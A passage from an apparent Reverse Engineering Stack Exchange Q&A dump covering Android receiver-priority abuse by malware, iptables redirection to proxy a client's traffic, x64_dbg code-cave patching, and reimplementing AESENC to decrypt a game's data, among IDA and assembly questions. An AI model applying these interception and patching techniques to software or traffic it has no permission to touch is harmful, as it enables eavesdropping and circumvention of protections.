The Android documentation does, indeed, specify SYSTEM_HIGH_PRIORITY = 1000 and SYSTEM_LOW_PRIORITY = -1000. Those are guidelines, though: the IntentFilter source code doesn't actually check the priority. This means the actual range is from -2,147,483,648 to 2,147,483,647.\nBy using a very high value the malware can guarantee to run its receiver before any other. Since it doesn't follow the guidelines, it shouldn't be used in production/not malicious code.

\n" }, { "Id": "9380", "CreationDate": "2015-07-17T03:42:02.847", "Body": "

I'm attempting to reverse engineer (without dissecting the source code, as my understanding is that reverse engineering by analyzing input and output and building something from scratch that fits is both far more legal and less monotonous/brain-dead than decompiling/de-obfuscating the program) a program that acts as client to a server, and one of the main systems I need to figure out is how they communicate (the exact meaning of each byte of data sent over the internet). The way I would like to go about doing this is by developing a program from scratch that attempts to imitate the client, but that acts as middle-man to both client and server so that I can easily see if the output my work-in-progress program would provide matches the actual client's output and how it differs.

\n\n

I'm not sure how to go about doing this, though. I think the site the client connects to is hard-coded into it; is there a way to make the client think that it is talking to the server, and the server to think that it is talking to the client, when in reality both are talking to my in-progress program? I would like for both my program and the client to be on the same (physical) system. I've been using a packet sniffer to monitor communication between the client and server, but it would be much simpler and convenient if I could have my program act as middle-man.

\n\n

I'm using a Lubuntu 15.04 system as my primary system currently, if that helps.

\n", "Title": "Putting an application in between client and server", "Tags": "|linux|networking|", "Answer": "

You may want to have a look at mitmproxy. This allows you to intercept and modify http(s) traffic, which may or may not be what you need, but it also has tools like mitmdump that just dump what's going over the connection.

\n\n

Mitmproxy also has instructions about setting up the linux tcp stack using iptables to redirect connections. I guess this is the main part of what you're trying to achieve.

\n\n

In your setup, the easiest thing you could do is probably create a virtual machine using virtualbox, running the client within the machine, using iptables inside the machine to redirect server connections to your host, and run the proxy on the host.

\n\n

The advantage of using a virtual machine is that whatever you install/configure on your VM won't interfere with your host, where you may not want to mess with the network to reduce the risk of breaking other things, and you can create a snapshot and go back to it of you break something and don't remember what exactly you've done.

\n\n

Then, on the VM, do something like

\n\n
iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 1.2.3.4:1234\n
\n\n

to redirect all traffic from the client, independent from target ip, to the host (assuming the host is 1.2.3.4). The, on the host, write a program to listen on port 1234, dump all data, and pass through to real.server.ip:1234. This way, you don't have to mess with the IP configuration of the host.

\n\n

If you don't want to use a VM, you could also use

\n\n
iptables -t nat -A OUTPUT -p tcp --dport 1234 -j DNAT --to-destination 127.0.0.1:1234\niptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination :1234\n
\n\n

and have your program listen on port 1234, and connect to 1235 on the real server. The second iptables entry will redirect this to 1234 again, and use the IP the program requested, since you just used a port without an IP in the --to-destination argument. Your client (that uses port 1234) always gets redirected to localhost, and the proxy, that connects to 1235, will get redirected to 1234. Obviously, the order of iptables commands is important here.

\n\n

You can use the real server ip or name as well, of course:

\n\n
iptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination 192.168.17.135:1234\niptables -t nat -A OUTPUT -p tcp --dport 1235 -j DNAT --to-destination real.server.name:1234\n
\n\n

but note that real.server.name gets resolved the moment you start the iptables command, not when the packet gets sent. So, if your real.server.address changes later, for example if it's behind a dynamic IP, you'll have to remove the iptables entry and create a new one.

\n\n

And to minimize impact on your machine, where you might have an unrelated program connect to an unrelated server on port 1235, you might want to restrict changing the port to one particular server only:

\n\n
iptables -t nat -A OUTPUT -p tcp --dest 192.168.17.135 --dport 1235 -j DNAT --to-destination 192.168.17.135:1234\n
\n" }, { "Id": "9382", "CreationDate": "2015-07-17T13:09:44.727", "Body": "

I'm trying a code-cave approach to this query that was asked about on this forum earlier.

\n\n

I'm using x64_dbg to perform this task. My issue here is that after I have written the extra lines of assembly within the code-cave, using Right-Click > Patches does not apply them.

\n\n

Does x64_dbg require an additional add-on to perform this kind of patching?\nHowever, the code changes inside the address space of the function patches just fine.

\n\n

Assembly code (Code-Cave)

\n\n

\"enter

\n\n

Failed dialog box

\n\n

\"enter

\n", "Title": "Code-Cave Assembly Patching Issue in x64_dbg", "Tags": "|ida|disassembly|x86-64|patching|machine-code|", "Answer": "

x64_dbg uses TitanEngine's ConvertVAtoFileOffsetEx() function to apply the patches. That function validates that the virtual addresses of the bytes to be patched are within a section's memory space at run-time (based on the section's virtual address and the section's virtual size). Since the bytes you're patching are after the end of the section's virtual size, ConvertVAtoFileOffsetEx() returns 0 and the patches are never applied.

\n\n

As a workaround, I'd recommend patching the virtual size of the section to which you're appending those new bytes. Whatever the current virtual size is, make it 14 bytes bigger in the PE section's header.

\n\n

You can use a tool like Explorer Suite to make this change by navigating to the file's Section Headers and increasing the value in the target section's Virtual Size field:

\n\n

\"Explorer

\n" }, { "Id": "9388", "CreationDate": "2015-07-18T04:15:03.843", "Body": "

I am trying to debug a linux application using remote debugging feature in ida pro. I use the remote linux debugger on windows after running the ida server on linux. My problem is that the file run normally in the linux environment since environment variables are accessible to the file. However, on using ida in windows the environment variables seems to be inaccessible and give error that I should define environment variables.

\n", "Title": "adding environment variable to ida pro", "Tags": "|ida|", "Answer": "

1) Run the linux program normally, then attach to the running process from IDA. Of course this won't work if you have to debug the application startup.

\n\n

2) Define (and export) the environment variables on Linux before you start linux_server. When you attach IDA to the running server, and start your program, the environment variables should get passed through to your program.

\n\n

Of course, defining any environment variables in windows won't alter the environent of your linux program.

\n" }, { "Id": "9393", "CreationDate": "2015-07-18T21:18:36.563", "Body": "

I've got some windows dll file. This dll-file exports a couple of functions to read HDD with some unknown (to me) filesystem. So, I've launched IDA disassembler and started an investigation on how those disk operations are going.

\n\n

In short, there are two part: Initialize and Act. Currently I'm on Initialize part of the code. And I'm stuck with this piece of code:

\n\n
; at this point: \n;   edi = 0, \n;   ebp = some 32-bit value, lets call it an Argument, \n;   esi holds address of some buffer with size of 07b0h bytes\n.text:100014C9                 xor     ecx, ecx        \n.text:100014CB                 mov     eax, ebp\n.text:100014CD                 mov     edx, 14h\n.text:100014D2                 mul     edx             ; eax:edx = Argument * 14h\n.text:100014D4                 seto    cl              ; ecx = (eax != 0)\n.text:100014D7                 mov     [esi+14h], edi\n.text:100014DA                 neg     ecx             ; ecx = -1 = 0ffffffffh (eax != 0), ecx = 0 (eax == 0)\n.text:100014DC                 or      ecx, eax        ; eax = 0ffffffffh (OF set), eax = eax (OF not set)\n.text:100014DE                 push    ecx             ; size_t\n; jmp_to_operator_new holds just a command to \n; c++ (i assume) 'new' operator\n.text:100014DF                 call    jmp_to_operator_new\n.text:100014E4                 lea     ecx, [ebp+ebp*4+0]\n.text:100014E8                 add     ecx, ecx\n.text:100014EA                 add     ecx, ecx\n.text:100014EC                 push    ecx             ; size_t\n.text:100014ED                 push    edi             ; int\n.text:100014EE                 push    eax             ; void *\n.text:100014EF                 mov     [esi+14h], eax\n.text:100014F2                 call    _memset\n
\n\n

So, as you may have noticed, I assume that that at text:100014DE point ecx can only hold either -1 (0ffffffffh) or zero as a value to pass to operator new (which doesn't do much than just call to _malloc). The result of memory allocation is then passed as destination buffer to _memset.

\n\n

Hence my question is here. Am I wrong about the value of ecx at text:100014DE point? Where am I wrong? What is correct value?

\n", "Title": "Some help with disassembled code understanding", "Tags": "|ida|disassembly|assembly|x86|dll|", "Answer": "

You are wrong with your interpretation. As you see correctly, after 100014da ecx is either zero (no overflow in the mul statement) or 0xffffffff (overflow in mul, neg works with twos complement). After 100014dc however, ecx is either 0xffffffff (unchanged on overflow) or equals eax (no overflow), as in the intel notation the destination register is the left one. eax remains unchanged.

\n" }, { "Id": "9410", "CreationDate": "2015-07-21T11:44:48.563", "Body": "

I know that red addresses means, that code do not recognize as a function in IDA, because that code never get called.\nBut I have found a piece of code that is marked red, but when debugging, I saw that this code gets called. But I still can't get that graph view of that piece of code and it still marked red.\nCan someone please explain what's happening here..?

\n", "Title": "Red addresses in IDA Pro", "Tags": "|ida|disassembly|static-analysis|control-flow-graph|", "Answer": "

To make IDA recognize the code as a procedure, press P at the start of it.

\n\n

Ida \"automatically presses the P key\" if it sees a direct call to that address. However, if the source code was C++ or another language with classes, the function might never be called directly, only indirectly through the vtable (table of method start addresses) of the class. In this case, you'll have to mark the procedure manually.

\n" }, { "Id": "9413", "CreationDate": "2015-07-21T22:40:34.010", "Body": "

I am reverse engineering IR protocol of LG air conditioner. AC generally send the whole current state of remote on each key press. Data sent is 28 bits long, last 4 bits seem to be the checksum. I have already tried reveng, but without luck.

\n\n

Bits 14-16 are mode of operation (heat/cool/fan/auto). Bits 17-20 are temperature + 15 degrees, bits 22-24 are fan speed and bits 25-28 seem to be 4-bit checksum.

\n\n

Here are sample values:

\n\n
100010000000100001000101 0001\n100010000000100001010101 0010\n100010000000100001100101 0011\n100010000000100010000100 0100\n100010000000100011000101 1001\n100010000000100011010101 1010\n100010000000100011110101 1100\n100010000000000011000101 0001\n100010001100000000000101 0001\n
\n\n

In the last two, only the position of 11 changed, but checksum stayed the same. How is that checksum calculated?

\n", "Title": "Reverse engineer 4-bit CRC in LG IR packet", "Tags": "|binary-analysis|decryption|crc|", "Answer": "

This seems to be a checksum, just as you state in your question, not a CRC as mentioned in the header.

\n\n

Group the values into blocks of 4 bits, add them, ignore overflow (in these examples, ignore overflow means subtract 32):

\n\n
1000 1000 0000 1000 0100 0101  0001 8+8+0+8+4+5=33  1\n1000 1000 0000 1000 0101 0101  0010 8+8+0+8+5+5=34  2\n1000 1000 0000 1000 0110 0101  0011 8+8+0+8+6+5=35  3\n1000 1000 0000 1000 1000 0100  0100 8+8+0+8+8+4=36  4\n1000 1000 0000 1000 1100 0101  1001 8+8+0+8+12+5=41 9\n1000 1000 0000 1000 1101 0101  1010 8+8+0+8+13+5=42 10\n1000 1000 0000 1000 1111 0101  1100 8+8+0+8+15+5=44 12\n1000 1000 0000 0000 1100 0101  0001 8+8+0+0+12+5=33 1\n1000 1000 1100 0000 0000 0101  0001 8+8+12+0+0+5=33 1\n
\n" }, { "Id": "9416", "CreationDate": "2015-07-22T06:49:58.237", "Body": "

I'm having troubles implementing the AESENC x86 instruction in python.

\n\n

I'm reverse engineering the decryption of a indie video game. They use AES but they xor some generated data around and the key expansion is not standard, so I need to use custom round keys. I'm nearly complete, but I'm stumped in that the game uses the AESENC x86 instruction, which performs a single round of AES. This seemed trivial to implement but I'm not getting the same results.

\n\n

To be more precise, when setting breakpoints and looking at memory

\n\n
AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B) \n
\n\n

returns:

\n\n
AABCA9C13C842D3112C48E822B050CF8\n
\n\n

While my python implementation returns:

\n\n
aabca9c13b88ae173e2ea2680d02007b\n
\n\n

This seems to be only matching the first 4 bytes. \nMy guess is that the mix_columns step is being done wrong, I've tried other implementations, but none seems to be matching the x86 instruction. I'm using the implementation found in the book The Design of Rijndael Section 4.1.2

\n\n

The only documentation I found on AESENC was here, which unfortunately doesn't go into details on how the functions are implemented. If anyone know where I can get implementation specifics on the AESENC please do :)

\n\n

Here's my full python implementation of AESENC so far:\n

\n\n
SBOX = (\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,\n)\n\ndef list2hex(list):\n    hex = \"\"\n    for e in list:\n        hex += \"{:02x}\".format(e)\n    return hex\n\ndef hex2list(hex):\n    lst = []\n    if len(hex) % 2 == 0:\n        for i in range(len(hex)/2):\n            lst.append(int(hex[i*2:i*2+2], 16))\n    return lst\n\ndef xor(bytelist1, bytelist2):\n    res = []\n    length = min(len(bytelist1), len(bytelist2))\n    for i in range(length):\n        res.append(bytelist1[i] ^ bytelist2[i])\n    return res\n\ndef aesenc(state, roundkey, last=False):\n    def shift_rows(state):\n        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]\n        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]\n        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]\n\n    def sub_bytes(state):\n        for i in range(16):\n            state[i] = SBOX[state[i]]\n\n    def mix_columns(state):\n        xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)\n\n        def mix_column(col):\n            t = col[0] ^ col[1] ^ col[2] ^ col[3]\n            u = col[0]\n            col[0] ^= t ^ xtime(col[0] ^ col[1])\n            col[1] ^= t ^ xtime(col[1] ^ col[2])\n            col[2] ^= t ^ xtime(col[2] ^ col[3])\n            col[3] ^= t ^ xtime(col[3] ^ u)\n            return _col\n\n        return mix_column(state[0::4]) + \\\n                mix_column(state[1::4]) + \\\n                mix_column(state[2::4]) + \\\n                mix_column(state[3::4])\n\n    sub_bytes(state)\n    shift_rows(state)\n    if not last:\n        state = mix_columns(state)\n    return xor(state, roundkey)\n\ndata = hex2list(\"E98E03FAEAD91A951F6269D0D4DAFAD6\")\nkey = hex2list(\"C62E6AD8CC162D7E210D91A142F2927B\")\n\nres = aesenc(data, key)\nprint list2hex(res)\n
\n", "Title": "Reimplementing the x86 AESENC instruction in python", "Tags": "|assembly|x86|python|encryption|", "Answer": "

Three problems:

\n\n
    \n
  1. mix_column returns _col (typo underscore?)
    2. \n
  2. The return value of mix_columns just concatenates the columns together like rows instead of slotting them back into columns - effectively transposing the result.
    3. \n

  3. AESENC takes its parameters and returns its results as columns concatenated together. Your aesenc takes the parameters and returns the results as rows concatenated together:

    \n\n
    AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B)\n       data = E9 EA 1F D4                key = C6 CC 21 42\n              8E D9 62 DA                      2E 16 0D F2\n              03 1A 69 FA                      6A 2D 91 92\n              FA 95 D0 D6                      D8 7E A1 7B\n
    4. \n
\n\n

This is the script adjusted so that it emits the same values as the AESENC instruction:

\n\n
SBOX = (\n    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,\n)\n\ndef transpose4x4(m):\n    return m[0::4] + m[1::4] + m[2::4] + m[3::4]\n\ndef list2hex(list):\n    hex = \"\"\n    for e in list:\n        hex += \"{:02x}\".format(e)\n    return hex\n\ndef hex2list(hex):\n    lst = []\n    if len(hex) % 2 == 0:\n    for i in range(len(hex)/2):\n        lst.append(int(hex[i*2:i*2+2], 16))\n    return lst\n\ndef xor(bytelist1, bytelist2):\n    res = []\n    length = min(len(bytelist1), len(bytelist2))\n    for i in range(length):\n        res.append(bytelist1[i] ^ bytelist2[i])\n    return res\n\ndef aesenc(state, roundkey, last=False):\n    def shift_rows(state):\n        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]\n        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]\n        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]\n\n    def sub_bytes(state):\n        for i in range(16):\n            state[i] = SBOX[state[i]]\n\n    def mix_columns(state):\n        xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)\n\n        def mix_column(col):\n            t = col[0] ^ col[1] ^ col[2] ^ col[3]\n            u = col[0]\n            col[0] ^= t ^ xtime(col[0] ^ col[1])\n            col[1] ^= t ^ xtime(col[1] ^ col[2])\n            col[2] ^= t ^ xtime(col[2] ^ col[3])\n            col[3] ^= t ^ xtime(col[3] ^ u)\n            return col\n\n        out = [None]*16\n        for i in range(0,4):\n          out[i::4] = mix_column(state[i::4])\n        return out\n\n    sub_bytes(state)\n    shift_rows(state)\n    if not last:\n        state = mix_columns(state)\n    return xor(state, roundkey)\n\ndata = transpose4x4(hex2list(\"E98E03FAEAD91A951F6269D0D4DAFAD6\"))\nkey = transpose4x4(hex2list(\"C62E6AD8CC162D7E210D91A142F2927B\"))\n\nres = transpose4x4(aesenc(data, key))\nprint list2hex(res)\n
\n" }, { "Id": "9424", "CreationDate": "2015-07-23T05:56:05.917", "Body": "

I want to make this decompiled function look nicer but don't know how ?\nCan you please help me by telling steps to do the structure in ida?

\n\n

This is a dot product function. I want to change type of __int64 a2@<rsi>, __int64 a3@<rdx> to look more familiar.

\n\n
void \n__usercall dot_prod(signed int a1@<edi>, __int64 a2@<rsi>, __int64 a3@<rdx>,\n                    __int128 _XMM0@<xmm0>, __int128 _XMM1@<xmm1>) \n{   \n  __int64 v5; // rax@2   double v6; // xmm0_8@2\n\n  if ( a1 > 0 )   \n    {\n      v5 = 0LL;\n      v6 = 0.0;\n\n      do\n      {\n        v6 = v6 + *(double *)(a2 + 8 * v5) * *(double *)(a3 + 8 * v5);\n        ++v5;\n      } while ( a1 > (signed int)v5 );   \n   } \n}\n
\n", "Title": "Simple type casting", "Tags": "|ida|", "Answer": "

Place cursor on a name of variable (in decompiled code window, you arrive there by using TAB in assembly window), press N. This will allow you to rename the entity your cursor stays on, including functions, variables, etc.\nPlace cursor on a name of variable, press Y. This will allow you to change its type.

\n\n

Regarding a2 and a3 in your specific example they look like arrays of doubles, \nso their type should be double*.

\n\n

I expect that the result of the line will be something like

\n\n
v6 = v6 + a2[v5]*a3[v5];\n
\n" }, { "Id": "9426", "CreationDate": "2015-07-23T15:51:57.913", "Body": "

Terminal app on OSX stores the information about its windows and content in its state files in Library/Saved Application State/com.apple.Terminal.savedState.

\n\n

I did the backup of the file before the crash to be able to restore my data, but I don't know how to read it now (as Terminal refuses to use it). It starts with: NSCR1000 as below:

\n\n
$ hexdump -Cn8 ~/Library/Saved\\ Application\\ State/com.apple.Terminal.savedState/data.data\n00000000  4e 53 43 52 31 30 30 30                           |NSCR1000|\n
\n\n

It's used by windows.plist file which can be decoded by:

\n\n
plutil -convert xml1 -o windows.plist windows.plist\n
\n\n

What kind of method I can use to read that .data file? Or where do I start?

\n\n
$ strings data.data | head -10\nNSCR1000\np+5v\n0>[t\nkJX6X\n@NSCR1000\n
\n\n

This file is automatically generated by Terminal app when you start and start typing something, so the terminal data is stored there.

\n", "Title": "How to read NSCR1000 data files?", "Tags": "|file-format|osx|binary-format|", "Answer": "

It is encrypted with AES so you will need the keys from windows.plist to decode.

\n\n

The format is (all stored in big-endian):

\n\n
offset  value\n0-3     magic ('NSCR' for PersistentUIRecord)\n4-7     version (either '1000' or '0006')\n8-11    NSWindowID (used to lookup 128-bit AES key stored in windows.plist)\n12-15   record length (including from 0 to xxx)\n16-xxx  encrypted binary plist data\n
\n\n

There may be multiple records stored in a file consecutively.

\n\n

Similar approach AppKit framework is using to decipher the data.data file. The most relevant code base to look at is the +[NSPersistentUIRecord parseOneRecordFromReadBlock:withDecryptionKeys:] block which parses each record in the data.data file.

\n" }, { "Id": "9435", "CreationDate": "2015-07-24T13:52:05.917", "Body": "

So I'm disassembling the Winnov.Amalga.Core.Session.Common.dll, and trying to figure out how the WriteScriptCommand works.

\n\n

I'm absolutely new to .NET, so go easy on me, please.\nYou can find the dll yourself here: Link under the Binary folder.

\n\n

Below is pretty much the only reference I found. EDIT: From searching through the decompiled dll.

\n\n
using System;\nnamespace winnov.Amalga.core\n{\n  public interface ISession\n  {\n     string Configuration { get; set; }\n     SessionState { get; }\n     TimeSpan Duration { get; }\n     string ArchiveBasePath { get; set; }\n     string ArchivePath { get; }\n     void Start();\n     void Stop();\n     void ApplyPreset(string presetxml);\n     void writeScriptCommand(string name, string value);\n   }\n}\n
\n", "Title": "How can I find the implementation/source code of an interface in .NET?", "Tags": "|decompilation|dll|.net|", "Answer": "

If you look at the decompiled code for the Winnov.Amalga.Core.Client constructor, you'll see that this._Session is a web service interface to whatever web service was used when constructing Winnov.Amalga.Core.Client. Thus, Session.WriteScriptCommand() is a server-side function and its code is not in Winnov.Amalga.Core.Session.Common.dll.

\n" }, { "Id": "9439", "CreationDate": "2015-07-24T22:23:50.490", "Body": "

I have a simple snippet with several instructions:

\n\n
01:    mov   edi, [ebp+8]\n02:    mov   edx, edi\n03:    xor   eax, eax\n04:    or    ecx, 0FFFFFFFFh\n05:    repne scasb\n06:    add   ecx, 2\n07:    neg   ecx\n08:    mov   al, [ebp+0Ch]\n09:    mov   edi, edx\n10:    rep   stosb\n11:    mov   eax, edx\n
\n\n

I should explain:

\n\n
\n

1.What is the type of the [ebp+8] in line 01 and [ebp+C] in\n line 08, respectively.

\n \n

2.What this code does?

\n
\n\n
    \n

  1. Line 01 is something like edi = *(ebp+8), it stores destination address, not sure. But i can't explain line 08

    2. \n

  2. By following the intel manual SCASB (scan byte string) i assume what this code does initialize a buffer for the string, repeatedly writes 0 byte eax times, then assign al to edi.

    3. \n
\n", "Title": "What does this combination SCAS and STOS?", "Tags": "|assembly|x86|decompile|", "Answer": "

emulating the sequence with powershell

\n\n
cat scasb.ps1\n$edx=$edi=$args[0];  $eax=0; $ecx=-1;\nwhile($edi[$ecx--]){}; $ecx+=2;  $ecx=-$ecx;\n\"length of string using .net method \"+$edi.length;\n\"length of string using repne scasb \"+$ecx;\n$edi=$edx.tochararray()\nwhile($ecx){$edi[--$ecx]=$args[1]};  $ofs=\"\"; $edx;[string]$edi\n
\n\n

result

\n\n
powershell -f scasb.ps1 \"abracadabra gili gili choo\" r\nlength of string using .net method 26\nlength of string using repne scasb 26\nabracadabra gili gili choo\nrrrrrrrrrrrrrrrrrrrrrrrrrr\n
\n" }, { "Id": "9448", "CreationDate": "2015-07-26T10:19:50.450", "Body": "

I compile C code snippet with VS2010 by two ways:

\n\n
int g_arra[3];\n\nint main() {\n  int idx = 2;\n  g_arra[0] = 10;\n  g_arra[1] = 20;\n  g_arra[2] = 30;\n  g_arra[idx] = 40;\n  return 0;\n}\n
\n\n
    \n
  1. With /O2 optimization
    2. \n
  2. Without /O2 optimization
    3. \n
\n\n

About /O2 optimization:

\n\n
\n

This option enables optimizations for speed. This is the generally\n recommended optimization level. The compiler vectorization is enabled\n at O2 and higher levels. With this option, the compiler performs some\n basic loop optimizations, inlining of intrinsic, Intra-file\n interprocedural optimization, and most common compiler optimization\n technologies.

\n
\n\n

When tried to reverse it:

\n\n
    \n

  1. With /O2 optimization:

    \n\n
    ; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp\n.text:00401000              mov     dword_403390, 10\n.text:0040100A              mov     dword_403394, 20\n.text:00401014              mov     dword_403398, 40\n.text:0040101E              xor     eax, eax\n.text:00401020              retn\n.text:00401020 _main        endp\n
    2. \n

  2. Without /O2:

    \n\n
     ; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401000 _main        proc near    ; CODE XREF: ___tmainCRTStartup+11Dp\n.text:00401000 var_4        = dword ptr -4\n.text:00401000 argc         = dword ptr  8\n.text:00401000 argv         = dword ptr  0Ch\n.text:00401000 envp         = dword ptr  10h\n.text:00401000              push    ebp\n.text:00401001              mov     ebp, esp\n.text:00401003              push    ecx\n.text:00401004              mov     [ebp+var_4], 2\n.text:0040100B              mov     dword_403390, 0Ah\n.text:00401015              mov     dword_403394, 14h\n.text:0040101F              mov     dword_403398, 1Eh\n.text:00401029              mov     eax, [ebp+var_4]\n.text:0040102C              mov     dword_403390[eax*4], 28h\n.text:00401037              xor     eax, eax\n.text:00401039              mov     esp, ebp\n.text:0040103B              pop     ebp\n.text:0040103C              retn\n.text:0040103C _main        endp\n
    3. \n
\n\n

Code compiled without /O2 given me clear explanation about global array, i can compute the size of it(4 byte each [eax*4]) and how many elements it has.

\n\n

My question is, how to deal with the first case? Where is compiler hide other instructions? How to detect, function has a global allocated array or a stack allocated array?

\n", "Title": "Globally allocated arrays optimization", "Tags": "|disassembly|x86|c|", "Answer": "

On x86 the ESP and EBP registers are used to access data on the stack. If you see code like

\n\n
mov [ebp - 4], 1\n
\n\n

it access the stack. w s's answer tells you how to differentiate between access to single variables or an array.
\nNo sane compiler or coder will ever use esp/ebp for anything but the stack, however if you want to be really sure (during runtime) you can get the stack boundaries from the TEB (windows only).

\n\n

An access to a global variable will always be an access to a fixed memory location.

\n\n
mov     dword_403390, 0Ah\n
\n\n

In this example 403390 is the fixed memory location (whether it is actually fixed or changed due to ASLR/relocations isn't important as this invisible in the disassembly).
\nFor further verifiaction you can check wheter that adress lies in the boundaries of the loaded executable or DLL/shared module.

\n" }, { "Id": "9458", "CreationDate": "2015-07-27T07:47:16.337", "Body": "

Simply, why does not call 12345678 jump to 12345678 address?
